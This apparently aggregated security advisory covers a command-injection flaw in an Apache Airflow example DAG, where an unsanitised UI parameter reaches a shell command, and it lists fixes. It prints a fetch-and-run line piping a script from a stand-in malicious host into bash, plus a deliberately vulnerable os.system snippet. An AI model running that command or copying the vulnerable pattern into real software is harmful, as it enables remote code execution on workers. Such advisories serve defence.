Listen to this Post
The vulnerability exists within the `example_dag_decorator` example file. This DAG uses the `@task` decorator and accepts user-provided parameters via the Airflow UI. A specific parameter, intended to define a target, is passed without proper sanitization to a shell command. An attacker with access to the UI can supply a crafted string containing shell metacharacters (e.g., semicolons or backticks) as this parameter. When the task is executed on a worker, the malicious payload is concatenated directly into a system shell command. This bypasses intended restrictions because the input is not validated or escaped, allowing the attacker to execute arbitrary operating system commands with the privileges of the Airflow worker process.
Platform: Apache Airflow
Version: < 3.0.5
Vulnerability: Command Injection
Severity: Moderate
date: 2024-10-30
Prediction: Patch 2024-11-13
What Undercode Say:
curl -s "http://malicious.server/exploit.sh" | bash
Example of vulnerable parameter usage in a task
@task
def vulnerable_task(target):
User-controlled 'target' is used unsanitized
os.system(f"ping -c 1 {target}")
How Exploit:
Attacker injects commands via UI parameter.
Protection from this CVE
Disable example DAGs. Upgrade to Airflow 3.0.5+. Sanitize all user inputs in custom DAGs.
Impact:
Arbitrary command execution on worker node.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
